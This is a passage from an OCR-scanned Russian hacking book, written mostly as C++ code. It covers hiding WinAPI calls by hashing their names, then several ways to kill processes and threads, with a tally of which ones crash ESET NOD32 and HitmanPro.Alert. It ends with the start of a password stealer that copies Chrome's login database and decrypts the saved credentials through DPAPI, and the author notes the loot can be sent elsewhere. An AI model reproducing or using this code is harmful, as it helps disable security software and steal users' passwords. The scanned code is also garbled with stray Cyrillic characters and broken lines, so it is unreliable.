программа засыпает на пять секунд и закрывается. Теперь давай посмотрим на таб­

лицу импорта (рис. 4.2). 

Мы увидим там только функцию lstrcmpiW. Ты ведь по мнишь , что мы ее ис­

пользовали для сравнения строк? Больше никаких ф унк ций нет! Теперь заглянем 

в дизассемблер (рис. 4.3). 

Здесь мы тоже не видим никаких вызовов . Если углубиться в иссле дова ние про­

граммы, мы, разумеется, обнаружим наши хеши, строки типа kerne132.dll и прочее. 

Но это просто учебный пример , демонстрирующий базу, которую можно развивать. 

Хеши можно защитить различными математическими операциями , а строки за­

шифровать. Для закрепления знаний попробуй скрыть функцию lstrcmpiW по ана­

логии с другими WinAPI. Даю подсказку : эта функция экспортируется библиотекой 

Kernel32.dll. 
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Рис. 4.2. Обфусцированное приложение в программе РЕ-Ьеаг 
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Рис. 4.3. Обфусцированное приложение в программе IDA 

Принудительное завершение процессов 

При написании софта , взаимодействующего с д р у ги м и при л ожениями , порой воз­

никает необходимость завершить выполнение сторонни х процессов. Есть несколь­

ко методов, которые могут помочь в этом д еле : одни хорошо документированы, 

другие пытаются завершить нужные процессы более же с ткими способами , право-
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цируя операционн ую систему прихлопнуть их силой. Я покажу несколько способов 

завершения и разрушения процессов в Windows. 

В качестве « подопытных кроликов » во зьмем браузер Firefox, антивирусный ком­

плекс ESET NOD32 Smart Security и прогр амму защиты от Оdау-угроз 

HitmanPro.Alert, которые будут работа т ь в Windows 10 L TSB 1809. Все приложения 

последних версий скачаны с официальных сайтов и трудятся на полную мощ ­

ность - хоть некоторые и в пробных режи мах. Разрядность как ОС, так и прило­

жений будет х 64. 

Подготовка 

Работать мы будем с процессами и по токами, по этому сначала нужно написать 

необходимые вспомогате льные функции. Кроме того, нам пона д обится ф ункци я , 

повышающая наши привил ег ии в системе до отладочных (SE_DEBUG_NAМE). По­

лучать мы и х будем стандартным об разом , используя функции OpenProcessToken 

и LookupPrivilegeValue. 

Во всех экспериментах я использовал свою собственную библиотеку для работы 

с WinAPI по хешам имен АРl-функций , так что , вероятно , это повлияло на взаимодей­

ствие с защитными решениями. Каким образом она была написана, подробно расска­

зывалось в предыдущем разделе . 

Код ф у нкции выгля дит следующим об р азом: 

BOOL set_privileges (LPCTSTR szPrivNarne) 

{ 

TOКEN_PRIV I LE GES token_priv = { О }; 

НANDLE hToken = О ; 

token_priv.PrivilegeCount = 1; 

t oken_priv . Privileges[0] . Attribнtes = SE PRIVILEGE ENAВLED ; 

if ( !OpenProcessToken(GetCurrentProcess() , TOКEN_ADJUST_PRIVILEGES , &hToken)) 

#ifdef DEBUG 

std : : cout << 11 0penProcessToken error : 11 << GetLastError() << std : : endl ; 

#endif 

return FALSE ; 

if ( !LookupPrivilegeValue (NULL, szPrivNarne , &token_priv . Privileges[0] . Luid) ) 

#ifdef DEBUG 

std :: cout << 11 LookupPrivilegeValue error : 11 << GetLastError() << 
std : :endl ; 

#endif 

CloseHandle(hToken) ; 
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return FALSE ; 

if ( !Adj ustTokenPrivileges(hToken , FALSE , &token_priv, sizeof(token_priv) , 
NULL, NULL )) 

#ifdef DEBUG 

std : : cout << "AdjustTokenPrivileges error: " << GetLastError() << 

#endif 

CloseHandle(hToken) ; 

return FALSE ; 

std : : endl ; 

Для получения отладочных привилегий вызовем э ту функцию таким образом: 

if (set_privileges(SE _ DEBUG_NAМE)) 

printf( " SE_DEB UG_NAМE is granted 1 \n" ) ; 

Для своего личного удобства работу с процессами я разделил на две функции: одна 

будет получать РШ по имени процесса , другая - пол учать хе н дл процесса по его 

PID. Конечно , можно было бы сделать большую функцию , которая сразу бы давала 

хендл процесса по имени , но э то не всегда уд обно , потому что порой требуется 

просто получить только PID. 

PID (process identifier) - это идентификатор процесса , который выступает контейне ­

ром для потоков . В свою очередь , у потоков тоже есть идентификатор , который назы­

вается ТЮ (thread identifier) . Зная PID и ТЮ , можно получить их хендлы , чтобы потом 

работать с потоками и процессами . 

Идентификатор процесса мы получим при помощи функций CreateToolhelp32-

Snapshot (создадим снимок активных процессов в системе) , далее будем переби­

рать и сравнивать процессы с нужным именем , функциями Process32First и 

Process32Next: 

DWORD get_pid_from_name(IN const char * pProcName) 

{ 

НANDLE snapshot_proc 

if (snapshot_proc 

#ifdef DEBUG 

CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , О) ; 

INVALID НANDLE VALUE) 
- -

std : : cout << "CreateToolhelp32Snapshot error : " << GetLastError() << 

std : : endl ; 

#endif 

return О ; 

PROCESSENTRY32 ProcessEntry ; 

DWORD pid ; 

ProcessEntry . dwSize = sizeof(ProcessEntry) ; 
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if (Process32First (snapshot_proc , &ProcessEntry)) 

while (Process32Next(snapshot_proc , &ProcessEntry)) 

{ 

if ( !stri=p(ProcessEntry . szExeFi le , pProcNarne)) 

pid = ProcessEntry . th32ProcessID; 

CloseHandle(snapshot_proc ) ; 

return pid; 

CloseHandle(snapshot_proc) ; 

return О ; 

Процессы можно перечислять и другими методами , например , использовать для этого 

функцию Process Status Helper (PSAPI) , K32EnumProcesses или недокументирован­

ную функцию ZwQuerySystemlnformation. Чтобы прокачать свой скилл работы с Win­
dows, ты можешь самостоятельно реализовать эти методы и посмотреть , как они ра­

ботают . 

Ч тоб ы п олу ч ить PID процесса firefox.exe, ф у нкцию на д о вы з вать таким образом : 

DWORD firefox_pid = get_pid_from_narne( "firefox . exe " ) ; 

Осталас ь мале н ька я ф у нк ц и я полу ч е ния х ен дл а . Обрати внимание: она позво л яет 

задать пр ава доступа к нужном у проц ессу: 

НANDLE get_process_handle(IN DWORD pid, DWORD access) 

{ 

НANDLE hProcess = OpenProcess(access , FALSE, pi d) ; 

if ( 1 hProcess) 

#ifdef DEBUG 

std : : cout << "OpenProcess error: " << GetLastE r r or() << s td :: endl ; 

#endif 

return FALSE ; 

return hProcess ; 

Если функ ция от р абат ы вает ус п е шн о , о на во з вращае т х е нд л процесса , если нет -

FALSE. Вы зы в аетс я она та к им о б р азом : 

НANDLE hFirefox = get_process_handle(firefox_pid, PROCESS_ALL_ACCESS) ; 

В п р имере выш е мы по лу ч аем хендл с права м и PROCESS_ALL_ACCESS. 
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Способы завершения процессов 

Сначала поработаем с процессами , а потом с потоками. Я буду писать маленькие 

функции, которые демонстрируют применение различных методов для завершения 

процессов и потоков. Обрати внимание : использовать б у дем только необходимые 

права доступа для процессов, потому что не каждый процесс позволит открыть 

себя с правами PROCESS_ALL_ACCESS, особенно э то касается защитных ре­

шений. 

Думаю , первое , что приходит в голов у, - э то применить функцию NtTerminate­

Process: 

В001 kill_procl(IN DWORD pid) 

{ 

НANDLE hProc = get_process_handle(pid, PROCESS_TERМINATE ) ; / /Обрати 

внимание на режим доступа - мы не просим ничего лишнего 

if ( !NtTerminateProcess (hProc , О)) 

#ifdef DEBUG 

std : : cout << "NtTerminateProcess error : " << GetLastError () << 
std : : endl ; 

#endif 

return FALSE ; 

return TRUE ; 

Разумеется , ESET NOD32 Smart Security и HitmanPro.Alert легко противостоят 

такому простому трюку и выводят сообщение ERROR_ACCESS_DENIED при 

попытке их завершения. Зато бра у зер Firefox с уд овольствием закрывается . 

Сле д ующий способ закрыть процесс - создать поток в интересующем нас процес­

се при помощи функции CreateRemoteThread и запустить этим потоком функцию 

ExitProcess. Вот код ф у нкции: 

В001 kill_proc2(IN DWORD pid) 

{ 

НANDLE hProc = get process_handle(pid, PROCESS_CREATE_THREAD 1 

PROCESS_VМ_O P ERATION) ; 

НМODULE hKernel32 = GetModuleHandle ( "kernel32 . dll " ); 

if ( !hКernel32) 

return FALSE ; 

void *pExitProcess = GetProcAddress(hКernel32 , "ExitProcess " ) ; 

if ( !pExitProcess) 

return FALSE ; 

НANDLE hThread = CreateRemoteThread(hProc , 

NULL, 



if ( ! hThread) 

#ifdef DEBUG 

□-- 67 -- □ 

о , 

(LPTHREAD_START_ROUTINE)pExitProcess , 

NULL, 

о , 

NULL) ; 

std : :cout << "CreateRemoteThread error : " << GetLastError() << 
std: : endl ; 

#endi f 

return FALSE ; 

return TRUE ; 

Как видно из кода , вначале мы пол у чаем PID процесса с правами PROCESS_ 

CREATE_TНREAD I PROCESS_ VМ_OPERATION ( л ишние права не берем) , да­

лее получаем адрес ф у нкции ExitProcess и з библиотеки kerne132.dll и , наконец, 

передаем его в функцию CreateRemoteThread. Firefox закрывается , а защитные 

решения показывают стойкость к э тому приему . 

Следующий способ будет манипу л ировать с заданиями Uob) при помощи функций 

CreateJobObject - AssignProcessToJobObject - TerminateJobObject. Сначала 

приведу код , потом я р а сскаж у, что он д елает: 

BOOL kill_procЗ(IN DWORD pid) 

{ 

НANDLE hProc = get__process_handle(pid, PROCESS_SET_QUOГA PROCESS_TERМINATE) ; 

НANDLE job = CreateJobObjectA(NULL, NULL) ; 

if ( ! job) 

#ifdef DEBUG 

std : :cout << "CreateJobObjectA error : " << GetLastError () << std :: endl ; 

#endif 

return FALSE ; 

if (!AssignProcessToJobObject(job, hProc)) 

#ifdef DEBUG 

#endif 

std : :cout << "AssignProcessToJobObject error: " << GetLastError() << 
std: :endl ; 

return FALSE ; 
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if ( ! TerminateJobObject (job, О}} 

#ifdef DEBUG 

std::cout << "T eпninateJoЬObject error : " << GetLastError(} << 

std : :endl; 

#endif 

return FALSE; 

return TRUE; 

Итак, сначала мы создаем объект задания функцией CreateJobObjectA. Объект за­

дания - это такой объект ядра , который позволяет работать с группой процессов. 

Ну а в данном случае группа процессов будет состоять из одного процесса. Далее 

функцией AssignProcessToJobObject мы связываем наш процесс с созданным 

объектом задания. 

Функцией TerminateJobObject мы можем завершить все процессы , которые связа­

ны с объектом задания (в нашем случае один процесс). Результат выполнения этой 

подпрограммы таков : NOD32 успешно выдержал эту атаку , браузер Firefox закрыл­
ся, и также закрылся процесс HitmanPro.Alert. 

Переходим к следующему способу завершения процессов - в этот раз мы притво­

римся отладчиком: 

8001 kill_proc4 (IN DWORD pid} 

{ 

НANDLE hProc = get process_handle (pid, PROCESS_SUSPEND_RESUМE} ; 

НANDLE dЬg_obj = NULL; 

NTSTATUS status = NtCreateDebugObject (& dЬg_obj , Ох2 , NULL, 0xl) ; 

status = NtDebugActiveProcess (hProc , dЬg _ obj} ; 

CloseHandle(hProc ) ; 

return TRUE; 

Здесь мы создаем объект отладки, используя функцию NtCreateDebugObject. Что­

бы понимать, что происходит , остановимся на ней немного подробнее . Вот ее про­

тотип: 

NTSYSAPI 

NTSTATUS 

NTAPI 

NtCreateDebugObject( 

OUT PНANDLE DebugObjectHandle , 

IN ACCESS МА SК DesiredAccess, 

IN POBJECT ATTRIBUTES ObjectAttributes OPTIONAL , 

IN ВOOLEAN KillProcessOnExit ) ; 



□-- 69 -- □ 

Параметр DebugObjectHandle - это хендл объекта отладки , который мы передаем 

по ссылке. Далее идет маска доступов , которую мы выставляем в Ох2 , что значит 

DEBUG_OBJECT_PROCESSASSIGN, третье поле атрибутов оставляем пустым, 

а четвертое ставим в 0xl - это значит IOIIProcessOnExit. 

Теперь присоединяем созданный объект отладки к процессу функцией NtDebug­

ActiveProcess. Если после этого закрыть хендл, процесс должен быть завершен 

операционной системой. Хендл закрываем как всегда - CloseHandle. После этого 

подопытный Firefox закры вается без проблем , как и HitmanPro.Alert. Но NOD32 

по-прежнему вы держи вает наш натиск. 

Теперь попробуем заста вить закрыться приложение , заняв всю его память. Сначала 

код : 

В001 kill_procS (IN DWORD pid ) 

{ 

НANDLE hProc = get_process_handle( pid , PR O CESS_VМ_ O PERATION ) ; 

unsigned int count = О ; 

size t sz = Ох400000000 ; 

while (sz >= 0xl000) 

// 16 Гбайт 

void *mem = VirtualAllocEx(hProc , 

NULL, 

sz , 

МEM_RES E RVE , 

PAGE_READONLY ) ; 

if (mem) count++ ; // 

else sz / = 2 ; // Будем занимать п амять д о п о следнег о 

CloseHandle (hProc) ; 

return TRUE ; 

Тут все просто: при помощи функции VirtualAllocEx мы пытаемся занять всю дос­

тупную память в приложении с флагом PAGE_READONLY, т. е. доступной толь­

ко для чтения. Ог этих действий Firefox зависает и падает ОС, а защитные про­

граммы продолжают работать и не позволяют разрушить себя таким образом . 

Следующий способ похож на предыдущий. Изменим атрибуты доступа в памяти 

приложения на PAGE_NOACCESS при помощи функции VirtualQueryEx­

VirtualProtectEx. Код: 

В 001 kill _ pr ocб( IN DWORD pid) 

{ 

НANDLE hProc = get_process_handle(pid, PROC E SS _ Q UE RY _I N FORМATION 1 

PROCESS VМ OPERATION I SYNCНRONIZE); 
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void* address = NULL ; 

while (address < Ох80000000000 ) 

МEMORY_BASIC_INFORМATION mem_bi ; 

DWORD mem = VirtualQueryEx(hProc , 

address , 

if (mem) 

&mem_Ьi , 

sizeof (mem_Ьi)) ; 

if ( mem_Ьi . State == МЕМ_СОММIТ) 

DWORD protect_state; 

VirtualProtectEx(hProc , 

mem_Ьi.BaseAddress , 

mem_Ьi . RegionSize, 

PAGE _ NOACCESS, 

&protect_state); 

address (void*) (mem_Ьi . BaseAddress + mem_Ьi.RegionSize); 

else break; 

CloseHandle(hProc) ; 

return TRUE; 

Здесь мы сначала в цикле по луч аем нужную информацию функцией VirtualQueryEx, 

а потом меняе м атриб ут защиты рег и она памяти при л ожения на PAGE_ 

NOACCESS ф у нкцией VirtualProtectEx. Несмотря на с х ожес т ь с предыд у щи м 

мето д ом , э тот по дх о д обр у шивае т о д но из з ащитных решений - HitmanPro.Alert 

и бра у зер . NOD32 остается непоко л ебим. 

Следующий мето д б уд ет исполь з овать ф у нкцию DuplicateHandle с параметром 

DUPLICATE_CLOSE_SOURCE, чтобы закры т ь все х ен дл ы процесса и вызвать 

в нем ошибки: 

BOOL kill_proc7(IN DWORD pid) 

{ 

НANDLE hProc get process_handle (pid, PROCESS DUP_НANDLE ) ; 

int i О ; 

while i < 0xl0000) 
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НANDLE hndl = (НANDLE)i ; 

НANDLE duЬlicate h = NULL; 

if (DuplicateHandle(hProc , hndl , GetCurrentProcess() , &duЬlicate_h , О , 

FALSE , DUPLICATE_CLOSE_SOURCE)) 

i++ ; 

CloseHandle(duЬlicate _ h); 

CloseHandle(hProc); 

return TRUE ; 

После того как мы пройдемся функцией DuplicateHandle с параметром DUPLICATE_ 

CLOSE_SOURCE по 10 ООО хендлов , Firefox у па д ет , а защитные программы не 

пострадают . 

Итак , мы рассмотре л и способы воздействия на сами процессы по их PID. Теперь 

перейдем непосредственно к потокам . 

Способы завершения потоков 

Для начала на д о б у дет получить список потоков в нужном процессе . Это очень по­

хоже на получение процессов , по э тому сильно заострять внимание на этом я не 

стану , хотя некоторые моменты необходимо прояснить. Листинг функции получе­

ния потоков я снабж у ко м ментариями , обрати на них внимание. 

BOOL get_threads(IN const char * pProcNarne) 

{ 

// Для nолучения списка nотоков мы используем ту же функцию , что и для 

// получения списка процессов , только передаем ей параметр TH32CS_SNAPТHREAD 

НANDL E pTHandle = CreateToolhelp32Snapshot ( TH32CS_SNAPТHREAD , О) ; 

ULONG process_tid[256] ; 

int tid_count = О ; 

int numЬer of threads = О ; 

THREADENTRY32 ThreadEntry ; 

ThreadEntry.dwSize = sizeof(ThreadEntry); 

DWORD pid = get_pid_from_narne(pProcNarne) ; 

// Используем похожие функции для потоков , как и в случае с процессами 

if (Thread32First(pTHandle , &ThreadEntry)) 
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if (ThreadEntry . dwSize >= FIELD_OFFSET (THREADENTRY32 , 
th320wnerProcessID ) + 

sizeof(ThreadEntry.th320wnerProcessID)) { 

// Здесь определяем потоки для нужного нам пр оц есса 

if (ThreadEntry . th320wnerProcessID == pid) 

process_tid(*tid_couпt] = ThreadEпtry.th32ThreadID ; 

#ifdef DEBUG 

#endif 

std :: cout << 11 PID : 11 << pid << 11 11 << 11 ThreadID : 11 << 
pr oc ess_tid[*tid_ couпt] << std :: eпdl ; 

*tid count = *tid count + 1; 

++пшnЬеr of threads ; 

T hr eadEпtry . dwSize = sizeof ( ThreadEпtry ) ; 

while ( T hread32Next(pTHaпdle , &ThreadEntry) ) ; 

#ifdef DEBUG 

std : : cout << " NшnЬer Threads : 11 << пшnЬеr of threads << std: :eпdl ; 

#eпd if 

// П роцесс один , а потоков несколько . Поэ т ому используем цикл , чтобы 

обойти их все 

fo r (; пшnЬer_of_threads > О ; -- пшnЬer_of_threads) 

//k i l l _threadsl ( tids[пшnЬer_ o f_threads] ) ; // В эт о м цикле мы 

бу д ем п о мещать ф у нкции убийства п о т о ков 

//kil l _th r eads2 ( tids[пшnЬer_o f _ threads] ) ; 

//k i l l_ threadsЗ ( tids[пшnЬer_of_threads] ) ; 

#ifde f DEBUG 

std: : cout << 11Thread ki l l : 11 << nшnЬer of threads << std: : eпdl ; 

#eп dif 

r et u rп TRUE; 

При помощи этой функции мы будем взаимодействовать с потоками н у жных нам 

процессов. Итак, первый способ завершения потоков очень похож на тот , который 
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мы использовали с процессами . Это открытие тредов при помощи функции 

OpenThread с параметром TНREAD_SET_CONTEXT. Далее идет получение 

адреса ExitProcess и передача его в функцию QueueUserAPC, чтобы она попала 

в очередь потока . 

Похожий способ мы использовали с процессами, только применялась функция 

CreateRemoteThread. Функция QueueUserAPC позволяет выполнять код в адрес­

ном пространстве нужного процесса, в контексте его потока. Код реализации про­

стой : 

BOOL kill_threadsl(IN DWORD tid) 

{ 

НANDLE hTread = OpenThread(THREAD_SET_CONTEXT, 

FALSE , 

tid) ; 

НМODULE hКernel32 = GetModuleHandle ("kernel32 .dll " ) ; 

if ( !hКernel 32) 

return FALSE ; 

void *pExitProcess = GetProcAddress(hКernel32 , "ExitProcess " }; 

if ( !pExitProcess} 

return FALSE ; 

if ( !QueueUserAPC( (PAPCFUNC)pExitProcess , hTread, О}} 

#ifdef DEBUG 

std : : cout << "QueueUserAPC error : " << GetLastError(} << std : : endl ; 

#endif 

return FALSE ; 

return TRUE; 

Я уже думал, что NOD32 SS нам не удастся сломить ничем, но здесь он дрогнул . 

У нас все-таки получилось разрушить его потоки , вызвать зависание и дальнейшее 

аварийное завершение. Что интересно, HitmanPro.Alert выдержал эту атаку, ну а 

Firefox, конечно , рухнул. 

Переходим к следующему способу. Он проще: будем просто открывать треды про­

цессов и пытаться завершить их при помощи TerminateThread: 

BOOL kill_threads2(IN DWORD tid} 

{ 

НANDLE hThread = OpenThread(TНREAD _ TERМINATE , 

FALSE, 

tid ) ; 
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if ( ! TerminateThread (hThread , О)) 

#ifdef DEBUG 

std : : cout << "TerminateThread error: " << GetLastError () << std : : endl; 

#endif 

return FALSE ; 

return TRUE ; 

Способ простой и не очень э ффективный , особенно против серье з ных программ: 

таким образом уд алось убить то л ько Firefox, остальные приложения выдержали 

атак у . 

И последний способ , который мы рассмотрим , - э то попытка сменить контекст 

потока (функция SetТhreadContext) с прыжком в нулевые данные . Это должно вы­

звать ошибку и аварийное завершение приложения: 

В001 kill_threadsЗ(IN DWORD tid) 

{ 

НANDLE hThread = OpenThread (THREAD_SET CONTEXT , 

FALSE , 

tid) ; 

CONTEXT ctx ; 

mernset(&ctx , О , sizeof(ctx)) ; 

ctx . ContextFlags = CONTEXT_CONTROL ; 

SetThreadContext(hThread, &ctx) ; 

CloseHandle(hThread) ; 

return TRUE ; 

// Выделяем память ctx и заполняем ее 

нулями 

// Меняем контекст 

Надо сказать , что все защитные решения выдержали э тот трюк , погиб только 

несчастный браузер . 

Заключение 

В этом разделе мы рассмотрели методы обфускации вызовов функций API и изучи­

ли несколько способов завершения потоков и процессов , немного разобрались , как 

Windows работает с ними , и выяснили , что даже защитные решения порой не могут 

себя защитить . Но , как известно , чтобы создать хорошую защиту, нужно исключить 

все слабые места , а чтобы сделать успешную атаку - нужно найти всего одно сла­

бое место. С чем мы успешно справились! 
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5. Пишем стилер. 

Как вытащить пароли Chrome и Firefox 
своими руками 

Nik Zerof 

Ты наверняка слышал о таком классе зловредных приложений , как стилеры . Их за­

дача - вытащить из системы жертвы ценные данные , в первую очередь - пароли . 

В э том разделе книги я расскажу , как именно они это делают , на примере извлече­

ния паро л ей из браузеров Chrome и Firefox, и покажу примеры кода на С++. 

Итак , браузеры , в основе которых лежит Chrome или Firefox, хранят логины и па­

роли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и 

распространяется бесплатно по свободной лицензии. Так же , как и рассматривае­

мые нами браузеры: весь их ко д открыт и хорошо д ок у ментирован , что, несомнен­

но , поможет нам . 

В примере модуля стилинга , который я приведу , будет активно использоваться 

CRT и другие сторонние библиотеки и зависимости , типа sqlite.h. Если тебе нужен 

компактный код без зависимостей , придется его немного переработать , избавив­

шись от некоторых ф у нкций и настроив компилятор должным образом. Как это 

сделать , я показывал в пре д ы д ущей главе , в раз д. « Обф ус кацuя вы з овов WinAPI». 

Что СКАЖЕТ АНТИВИРУС? 

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциаль­

ных покупателей на то , что в данный момент их стилер не «палится» антивирусом . Тут 

надо понимать , что все современные и более-менее серьезные вирусы и трояны име­

ют модульную структуру , каждый модуль в которой отвечает за что-то свое : один мо­

дуль собирает пароли , второй препятствует отладке и эмуляции , третий определяет 

факт работы в виртуальной машине, четвертый проводит обфускацию вызовов 

WinAPI , пятый разбирается со встроенным в ОС файрволом. 

Так что судить о том , «палится» определенный метод антивирусом или нет , можно , 

только если речь идет о законченном «боевом» приложении , а не по отдельному мо­

дулю . 

Chrome 

Начнем с Chrome. Для начала давай получим файл , где хранятся учетные записи 

и пароли пользователей . В Windows он лежит по такому адресу: 

C: \Users\ %username%\AppData\Local\Google\Chrome \UserData\Default\Login Data 
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Чтобы совершать какие-то манипуляции с этим файлом , нужно либо убить все про­

цессы браузера , что будет бросаться в глаза , либо куда-то скопировать файл базы 

и уже после этого начинать работать с ним. 

Давай напишем функцию , которая получает путь к базе паролей Chrome. В качест­

ве аргумента ей будет передаваться массив символов с результатом ее работы (т. е. 

массив будет содержать путь к файлу паролей Chrome). Функция будет иметь сле­

дующий вид: 

#define СНRОМЕ_DВ_РАТН " \\Google\\Chrome\\User Data\\Default\\Login Data " 

bool get_browser_path (char * dЬ_loc , int browser_family, const char * location) 
{ 

memset ( dЬ_loc, О , МАХ_РАТН ) ; 

if ( !SUCCEEDED (SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, О , dЬ_loc))) 

return О; 

if (browser_family == О) { 

lstrcat ( dЬ_l oc , TEXT(location)); 

return 1 ; 

Вызов функции: 

char browser dЬ[МАХ_РАТН]; 

get_browser_path ( browser_dЬ, О , СНRОМЕ_DВ_РАТН) ; 

Давай вкратце поясню , что здесь происходит. Мы сразу пишем эту функцию , под­

разумевая будущее расширение . Один из ее аргументов- по ле browser_family, 

оно будет сигнализировать о семействе браузеров, базу данных которых мы полу­

чаем (т. е. браузеры на основе Chrome или Firefox). 

Если условие browser _ family = О выполняется , то мы получаем базу паролей 

браузера на основе Chrome, если browser_family = 1- Firefox. Идентификатор 

СНRОМЕ_DВ_РАТН указывает на базу паролей Chrome. Далее мы получаем путь 

к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента 

CSIOL значение CSIOL _ LOCAL _ APPDA ТА , которое означает: 

#define CSIDL_LOCAL_APPDATA OxOOlc // <user name>\Local Settings\Applicaiton 
Data (non roaming ) 

Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать 

вместо нее SHGetKnownFolderPath. Проблема в том , что подцержка этой функции 

начинается с Windows Vista, поэтому я применил ее более старый аналог для со­

хранения обратной совместимости . Вот ее прототип: 

HRESULT SHGetFolderPath ( 

HWND hwndOwner, 



) ; 

int nFolder , 

НANDLE hToken , 

DWORD dwFlags , 

LPTSTR pszPath 
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После этого функция lstrcat совмещает результат работы SHGetFolderPath с иден­

тификатором СНRОМЕ_DВ_РАТН . 

База паролей получена , теперь приступаем к работе с ней. Как я уже говорил, это 

база данных SQLite, взаимодействовать с которой удобно через SQLite API. Они 

подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы дан­

ных, чтобы не занимать его и не мешать работе браузера: 

int status = CopyFile(browser_dЬ , TEXT( " . \\ dЬ_trnp " ) , FALSE) ; 

if ( ! status ) { 

// return О ; 

Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип: 

int sqlite3_open_v2 ( 

const char *filenarne , /* Database filenarne (UTF-8 ) */ 

sqliteЗ **ppDb, /* OUT : SQLite dЬ handle */ 

int flags , / * Flags */ 

const char *zVfs /* Narne of VFS module to use */ 

) ; 

Первый аргумент - наша база данных; информация о подключении возвращается 

во второй аргумент , дальше идут флаги открытия, а четвертый аргумент определяет 

интерфейс операционной системы , который должен использовать это подключение 

к базе данных, в нашем случае он не нужен. Если эта функция отработает коррект­

но , возвращается значение SQLITE_OK, в противном случае возвращается код 

ошибки: 

sqliteЗ *sql_browser _dЬ = NULL; 

status = sqlite3_open_v2(TEMP_DB_PATH, 

&sql_browser_dЬ , 

SQLITE_OPEN_READONLY , 

NULL) ; 

if (status != SQLITE_OK) { 

sqliteЗ_close(sql_browser_dЬ ) ; 

DeleteFile(TEXT(TEMP_DB_PATH)) ; 

Обрати внимание : при некорректной отработке функции нам все равно необходимо 

самостоятельно закрыть подключение к базе и удалить ее копию . 

Теперь начинаем непосредственно обрабатывать данные в базе. Для этого восполь­

зуемся функцией sqlite3_execQ: 
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status sqliteЗ_exec(sql_browser_dЬ , 

"SELECT origin_url , username_value , password_value FROM logins ", 

crack_chrorne_dЬ , 

sql_browser_dЬ , 

&err) ; 

if (s tatus != SQLITE_OK) 

return О ; 

Эта функция имеет такой прототип : 

int sq l iteЗ_exec( 

s ql i teЗ* , /* An open database */ 

const char *sql , /* SQL to Ье evaluated */ 

int (*callback) (void* , int,char** , char**) , /* Callback */ 

void *, /* 1st argurnent to callback */ 

char **errrnsg /* Error rnsg written here */ 

) ; 

Первый аргумент - наша база паролей , втор(?Й - э то команда SQL, которая вы­

таскивает URL файла , логин , пароль и имя пользователя , третий аргумент - это 

функция обратного вызова , которая и будет расшифровывать пароли , четвертый -

передается в нашу функцию обратного вызова , ну а пятый ар гу мент сообщает об 

ошибке. 

Давай остановимся подробнее на саl\Ьасk-функции , которая расшифровывает паро­

ли. Она будет применяться к каждой строке из выборки нашего з апроса SELECT. 

Ее прототип - int (*callback)(void*,int,char**,char**), но все арг у менты нам не 

понадобятся , х отя объявлены они д олжны быть. Са му ф у нкцию назовем 

crack_chrorne_db, начинаем писать и объявлять нужные пере м енные : 

int crack_chrorne_dЬ(void *dЬ_in , int arg , char **argl , char **arg2) 

DATA_BLOB data_decrypt , data_encrypt; 

sqliteЗ *in_dЬ = (sqliteЗ*)dЬ_in ; 

ВУТЕ *ЫоЬ data = NULL; 

sqliteЗ_Ыob *sql_Ыob = NULL ; 

char *passwds = NULL; 

while ( sqliteЗ_Ы ob_open(in_dЬ , "rnain", "logins ", "password value", count++ , О , 

&sql_Ьlob) != SQLITE_OK && count <= 20) ; 

В этом цикле формир у ем BLOB (т . е . большой массив д воичных данных). Далее 

выделяем память , читаем BLOB и инициализируем поля DATA_BLOB: 

int sz _ Ьlob ; 

int result ; 

sz ЫоЬ = sqliteЗ_Ьlob_bytes (sql _Ьlob ) ; 

dt ЫоЬ ( ВУТЕ *)rnalloc(sz_Ыob); 
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if ( !dt_Ыob) { 

sqliteЗ _ Ьlob_close(sql_Ыob) ; 

sqliteЗ_close(in _ dЬ} ; 

data_encrypt .pbData = dt _ Ыob ; 

data_encrypt . cbData = sz_Ыob ; 

А теперь приступим непосредственно к дешифровке. База данных Chrome зашиф­

рована механизмом Data Protection Application Programming Interface (DPAPI). Суть 

этого механизма заключается в том , что расшифровать данные можно только под 

той учетной записью , под которой они были зашифрованы . Другими словами , 

нельзя стащить базу данны х паролей , а потом расшифровать ее уже на своем ком­

пьютере . Для расшифровки д анны х нам потребуется функция CryptUnprotectData: 

DPAPI IMP В001 CryptUnprotectData( 

) ; 

DATA В1 0В 

LPWSTR 

DАТ А В10В 

PVOID 

*pDatain, 

*ppszDa t a Descr , 

*pOptionalEntropy , 

pvReserved, 

CRYPTPROТECT PROМPТSTRUCТ *pPromptStruct , 

DWORD dwFlags , 

DATA В10В *pDataOut 

if (!CryptUnprotectData(&data_encrypt , NULL, NULL, NULL, NULL, О , 

&data_decrypt)) { 

free(dt_Ыob}; 

sqliteЗ_Ыob_close(sql_Ыob) ; 

sqliteЗ_close(in_dЬ) ; 

После э того вы д еляем память и з аполняем массив passwds расшифрованными дан­

ными: 

passwds = ( char *)malloc(data_decrypt . cbData + l) ; 

memset(passwds , О , data_decrypt.cbData) ; 

int xi = О ; 

while (xi < data_decrypt . cbData} { 

passwds[xi] (char}data_decrypt.pbData[xi] ; 

++xi ; 

Собственно , на э том все! После эт ого passwds б уд ет содержать учетные з аписи 

пользова т елей и URL. А что д е л а т ь с эт ой информацией - вывести ее на экран или 

сохранить в файл и ку д а- т о его отправить - решать т ебе . 
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Firefox 

Переходим к Firefox. Эrо будет немного сложнее, но мы все равно справимся! Для 

начала давай получим путь до базы данных паролей . Помнишь, в нашей универ­

сальной функции get_browser_path мы передавали параметр browser_family? 
В случае Chrome он был равен нулю , а для Firefox поставим 1: 

bool get_browser_path (char * dЬ_loc , int browser_farnily, const char * location) 
{ 

if (browser_family == 1) { 

rnemset ( dЬ_loc, О , МАХ_РАТН); 

if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, о , 

dЬ_loc))) 

// return О ; 

В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до папки поль­

зователя. Дело в том, что имя папки пользовательского профиля генерируется слу­

чайно . Но это ерундовая преграда , ведь мы знаем начало пути: \\Mozilla\\Firefox\\ 

Protiles\\. Достаточно поискать в нем объект «папка» и проверить наличие в ней 

файла \\logins.json. Именно в этом файле хранятся интересующие нас данные логи­

нов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде: 

lstrcat(dЬ_loc, TEXT (locat i on)) ; 

